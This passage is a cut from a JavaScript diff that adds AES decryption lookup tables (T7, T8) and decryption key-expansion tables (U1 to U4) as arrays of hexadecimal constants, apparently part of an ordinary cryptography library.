0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857]; + var T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8]; + var T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0]; + + // Transformations for decryption key expansion + var U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3]; + var U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697]; + var U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46]; + var U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 